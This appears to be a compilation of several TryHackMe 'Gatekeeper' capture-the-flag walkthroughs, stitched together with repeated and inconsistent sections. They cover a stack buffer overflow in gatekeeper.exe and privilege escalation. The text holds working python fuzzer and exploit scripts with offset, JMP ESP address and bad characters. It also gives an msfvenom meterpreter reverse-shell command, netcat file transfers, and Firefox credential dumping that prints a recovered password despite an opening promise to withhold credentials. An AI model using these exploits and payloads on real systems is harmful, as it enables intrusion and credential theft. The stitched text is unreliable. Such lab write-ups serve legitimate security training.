thm-gatekeeper-nl

NOTICE: (SPOILER!!) If you would like to solve it by yourself, don’t read further.

Today let’s play  Tryhackme’s Gatekeeper at

https://tryhackme.com/room/gatekeeper

This is a writeup of Gatekeeper from TryHackMe.

The goal of these writeups is to share with others whilst developing reporting habits and improving my own process. This writeup will not include any passwords/cracked hashes/flags.

Credits to the room creator/s.


Setup

First, we will connect to the VPN. If you are not familiar with the process go through this room first and the other ‘getting started’ rooms.

Once we are connected we will deploy the machine:

When we click deploy, the machine will be started and we will need to wait a few minutes for it to get setup. We will be given an IP for the machine, in my case it’s 10.10.181.193 and the time limit which we can add to if we need to:

For this machine I’ll be using a Kali Linux VM and a Windows 10 VM with Immunity Debugger installed.


Scanning

First, we have the following hint from the room description:

Can you get past the gate and through the fire?

We will start off with an nmap scan:

Taken from our scan results we have:

We have usual ports for Microsoft Windows RPC. We have SMB on ports 139 and 445, RDP on port 3389 and an unusual port open at 31337. From these results we can assume that we will enumerate SMB further and whatever is happening on port 31337.


Enumeration

To begin we will enumerate SMB using smbclient:

After using smbclient to try listing each of the disks we discover that we only have access to the Users disk. There might be useful files or information disclosure stored on SMB so we will take a look:

Listing the contents we descover Default, desktop.ini and Share. Out of all of these share is the most likely place to look. We will change directory to Share from the smb prompt and list the contents:

In the Share directory we find gatekeeper.exe, this is likely to be part of our attack service. We will download the executable to our Kali machine:

We also want to enumerate what we can from port 31337. To do this we will use netcat:

When we press return the port responds with ‘Hello !!!’. If we add input at the prompt we get a response of ‘Hello <our text>!!!’ :

There is a program running on port 31337 that accepts user input. This indicates to us that it may be vulnerble to buffer overflow but we don’t want to test that on a live machine and risk crashing the service and having to reboot the machine. Assuming the program is likely to be the gatekeeper.exe we found on SMB we will use our Windows Lab machine to run our tests.


Investigation

We will setup a python server in the directory containing our executable and download it onto our Windows Lab machine. From Kali we will run:

And from our Windows machine we will run:

Now we have the executable on our Windows Lab, we will run it and connect to it using netcat same as before:

We can confirm that it is the same program and we can catch the response back on our Windows machine:

When we send through some data we can see that the program is counting the bytes received and the bytes sent. If we can crash the program we may be able to create a buffer overflow exploit.

First we will setup a script that we can use to fuzz the program:

address = ‘<target IP>’
port = 31337
buffer = [‘A’]
counter = 100

When we run our script we crash the program at around around 202 bytes:

We can verify this in Immunity Debugger noting that the instruction pointer (EIP) has been overwritten with four A’s. We carry on from this point to create an exploit for this vulnerable program:


Buffer Overflow

I have a skeleton exploit script that I use for these kind of buffer overflows and with a couple of changes you can adjust the fuzzer script above to work the way you want it to. We will go through each section step by step without giving too much away so it can remain a challenge.

Verifying the Script

The first thing I do is make sure the script makes the program behave in the same way as the proof of concept did previously. For this I will update my script with the target IP and port and make it so it sends a buffer of 210 A’s to our target application. This is what our buffer payload will deliver:

We run the vulnerable program on our Windows machine and attach it to Immunity Debugger:

This will load our application into Immunity. Before we run the python exploit we will want to make sure the program is running in Immunity and not paused. Let’s make sure our exploit crashes the program as expected:

We can see that our exploit crashes the program the same as the fuzzer. Now we can move on to verifying the offset of the instruction pointer.

Finding the Offset

For this we will generate a unique string using msf-pattern_create that we will send us the buffer. We can then use the value that overwrites the EIP to identify exactly where the offset is.

First, we will generate the pattern:

This will return a unique string of 210 bytes:

We will add this string to our exploit and comment out the previous payload. We only want to send the unique string as our buffer:

Next, we will go back to restart Immunity and run + re-attach gatekeeper.exe on our Windows machine. When that’s set up we will run the exploit:

We can see that our EIP has been overwritten with the value of 39654138. With this we can use msf-pattern_offset to calculate the offset:

Great, we have an exact match for the offset of 146.

Confirming the Offset

Next up for our python script is to confirm the offset. We can do this by modifying the buffer as follows:

If all goes according to plan we will overwrite the EIP with 42424242 (four B’s). We will reset our Windows debug environment and run the exploit:

The EIP is overwritten as expected verifying our offset. Next, we will need to identify bad caracters that musn’t be used in the payload.

Identifying Bad Characters

We have a setup section in our bof skeleton exploit for bad characters. We will replace the sixty C’s we were sending with our block of bad characters, meaning our buffer will send 146 A’s followed by 4 B’s followed by our string of bad characters. It is expected that the null-byte will be break the code so we have already removed this aas a bad character:

We reset our debugging environment and run the python script. We crash the program as expected and now we want to right click on our ESP register and select ‘follow in dump’ from the menu:

This will bring up our section of bad characters in the hex dump.

This is what we are looking out for. We can see that all characters are fine except for \x0A which has been changed to \x00, we will need to include it as a bad character when we generate our payload.

Finding a JMP ESP Module

We need to find a jump address that we can use to put in our EIP which will serve as a way of redirecting to our shellcode. We can do this within Immunity Debugger using mona modules.

After our previous crash we can type into the box just below the hex dump:

From this we will be checking for ASLR to be False. It appears we can use gatekeeper.exe if we can find a jump esp address within it. To check this we will need to search gatekeeper.exe for jump esp:

We managed to find two pointers we could user, neither contain bad characters. We will work with 0x080414c3. For our exploit we will need to adjust this to be in Little Endian format, like this; \xc3\x14\x04\x08.

Verifying Shellcode Space

We need at least 351 bytes available to us for shellcode space after our jump to esp. We will verify this by adjusting the payload as follows:

The expected result being after the crash 351 C’s are loaded into the ESP register. We can test this by running the exploit against the applicaion whilst it is attached to Immunity:

It looks like we will have enough space, if there is an issue here we can re-trace our steps and fix it.

Generating Shellcode

Next, we will generate our shell code using msfvenom:

We will copy the resulting shellcode into our exploit and setup our netcat listner:

We will have the shellcode replace the section of C’s in our buffer (be sure to remove / comment out the C’s), and run the exploit against our Windows lab machine, we also add a 20 byte nopsled before our shellcode starts:

We get a shell as admin on our Windows Lab machine.

It’s important to note we will have to make some adjustments to our exploit before running it against the target:

  1. Change the IP in the exploit to the IP of the target.
  2. Regenerate the shellcode using our TryHackMe IP.

With that done we can run it against the target machine.

Gatekeeper: Solving the Buffer Overflow

This is my first walkthrough and I though what’s a better topic then Buffer Overflow to start with.

extra notes:

 

lets attach it to immunity debugger and try to fuzz it

#!/usr/bin/python
import socket,sys
from time import sleep
ip="192.168.152.129" //change this
port=31337

bof = ['A']
cntr = 100
while len(bof)<=30:
	bof.append("A"*cntr)
	print cntr
	cntr = cntr +200
for string in bof:
	s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	s.connect((ip,port))
	print "Fuzzing with "+str(len(string))+" Characters"
	s.send(string + 'nr')
	s.recv(1024)
	s.close()
sys.exit(0)
It crashes at fuzzing it with 300 characters

Creating a Skeleton code is simple :

#!/usr/bin/python
import socket,sys
from time import sleep
ip="192.168.152.129"
port=31337
shellcode=("")
bof = "A"*146+"BBBB"+"C"*(300-146-4)
try:
	s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	s.connect((ip,port))
	print "Fuzzing with "+str(len(bof))+" Characters"
	s.send(bof + 'nr')
	s.recv(1024)
	s.close()
except:
	print "Some Error Occured"
	sys.exit(0)
EIP is overwritten with As (41=A in hex)
Now lets find out which of the 300 As we sent overwrote the EIP using pattern_create.rb script as follows

replace the 300 A with the output

When we run the script again we can see EIP is overwritten with 39654138 so querying it with pattern_offset.rb gives us the location as 146

EIP

Lets replace 300 As with following in the skeleton code:

bof = "A"*146+"BBBB"+"C"*(300-146-4)
We have successfully overwritten the EIP with Bs

Now we try increasing the number of Cs lets replace c*(300-146-4) with C*(1000) so we have some breathing space if it works

It does work and we have 846 characters of space for our shellcode

Next Step is to find the BAD-Characters :

In layman’s term bad characters have some special meaning for the specific application
x00 is the usual suspect (acts as truncate in lots of places)

We’ll simply replace Cs with all available HEX characters ie x01 to xff (almost every time x00 is a bad character so lets just save time assuming that it one)

as we see x0a is replaced with x00 indicating its a bad character

Now lets find the modules that we can use for redirecting the code execution to ESP as our Cs are being stored in the ESP

we use the mona to find the modules

!mona modules
we see that only module which does not have ASLR as true is gatekeeper.exe

now lets try to search for JMP ESP if it exists in gatekeeper.exe

!mona find -s "xffxe4" -m gatekeepr.exe

and we get two addresses where it is being used. Here I’ll be using the first address you can go ahead and experiment with the second one

We set a breakpoint using F2 And make changes in the code accordingly and We replace the B’s in the code with the address

addr="xC3x14x04x08"

When we run the script the program execution is stopped at the breakpoint showing that our code is properly calling the address and everything we did till now is working

And as we see we are successfully redirecting the code execution to the esp

We’ll use Metasploit Venom to generate the shellcode


msfvenom -p windows/meterpreter/reverse_tcp lport=4444 lhost=192.168.152.128 EXITFUNC=thread -a x86 -e x86/shikata_ga_nai  -b "x00x0a" -f c

Add the generated shellcode to the code. We’ll keep a NOP sled for 16 characters using : “x90″*16 before the shellcode.

Final test exploit will look something like this:

#!/usr/bin/python
import socket,sys
from time import sleep
ip="192.168.152.129"
port=31337
#addr =080414C3
addr="xC3x14x04x08"
shellcode=("--------Your shellcode------------")

bof = "A"*146+addr+"x90"*16+shellcode
#shellcode length can be 844
#badchar = x00x0a
try:
	s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	s.connect((ip,port))
	print "Fuzzing with "+str(len(bof))+" Characters"
	s.send(bof + 'nr')
	s.recv(1024)
	s.close()
except:
	print "Some Error Occured"
sys.exit(0)

Before running the exploit get multi/handler ready

We get back a shell

Now that we have the working exploit we can send it to the victim machine by just changing the IP in the msfvenom command for generating the shell use above.

working shell from the actual victim machine

Exploitation & Privilege Escalation

Method 1: Manually

We setup our listener:

And run our python exploit against the target:

We are returned a shell on the target. From here we can grab the user.txt file:

From here we can take a look at which programs have been installed by checking C:\Program Files (x86)\ :

From the output we can see that Mozilla Firefox is installed. Sometimes credentials can be retrieved from browsers so we will look into this further. After some further enumeration and hoping to find a manual exploit path I found this blogpost about credential dumping from firefox using metasploit.

Looking at the paths that the exploit tries to find files in let’s see if we can grab these files from our shell. We can find the files we need in the following directory:

The files that we want are listed in the directory:

We will transfer a copy of netcat over to the target and use it to send the files to our Kali machine. First, we will start a python server in our directory containing the nc.exe binary:

Then we will download the binary onto the target machine:

We can now transfer the four files we need to our Kali machine using netcat.

Receiver:

Sender:

We can check we have all four files transferred to our Kali machine:

Now, we can use a tool called firefox_decrypt.py to get credentials from the file. We download the python file and run it:

kali@kali:~/thm$ python3 firefox_decrypt.py /home/kali/thm//foxfire/
2020-07-06 05:57:31,069 - WARNING - profile.ini not found in /home/kali/thm//foxfire/
2020-07-06 05:57:31,069 - WARNING - Continuing and assuming '/home/kali/thm//foxfire/' is a profile location

Master Password for profile /home/kali/thm//foxfire/:
2020-07-06 05:57:35,670 - WARNING - Attempting decryption with no Master Password
Website: https://creds.com
Username: 'mayor'
Password: '8CL7O1N78MdrCIsV'

We successfully recover a username and a password. We can now use psexec to get a remote shell on the system:

From here we can grab the final flag.


Method 2: Metasploit

We can replace the shell in our buffer overflow to be a meterpreter shell by changing the msfvenom command to use a meterpreter payload:

We run our exploit and we have a meterpreter shell:

Next, we use the module suggested to download possible files we could use, that firefox stores, to get credentials from:

With the files saved to /root/.msf4/loot/ we can continue the exploit as we did in the manual method.


Thanks to everyone who worked on the machine. Really enjoyed the buffer overflow into user and learnt something new to look out for with the privesc!

 msfvenom payload for Meterpreter shell

Reverse shell via multi/handler exploit

Utilizing the enum_applications module, users will discover that Firefox is running on the low privilege user machine.  No other exploits are available, despite local_privilege_suggester providing two different possibilities (local admin is turned off).  See below for the Firefox credential dump and enum_applications.

run post/windows/gather/enum_applications

 Credential dump with run post/multi/gather/firefox_creds

Now that credentials are dumped, users will be required to grab the Firefox Decrypt tool from Github (https://github.com/unode/firefox_decrypt).  Instructions are provided on the page, but in short, users will be required to rename the four different outputs from the Firefox_cred module.  See below.

Before renaming the files

 After renaming files appropriately

We can then run the Firefox Decrypt tool to dump the credentials from Firefox.

 python firefox_decrypt.py /root/.msf4/loot/

Finally, we can utilize the above credentials to log in to the “mayor” account using psexec.

 psexec.py user:pass@10.10.167.18 and NT AUTHORITY\SYSTEM

 Root flag

files used :

https://github.com/puckiestyle/python/blob/master/gatekeeper_calc.py

https://github.com/puckiestyle/python/blob/master/gatekeeper_revshell.py

https://github.com/puckiestyle/python/blob/master/gatekeeper.exe

Author – Puckiestyle

Posted on

Leave a Reply

Your email address will not be published. Required fields are marked *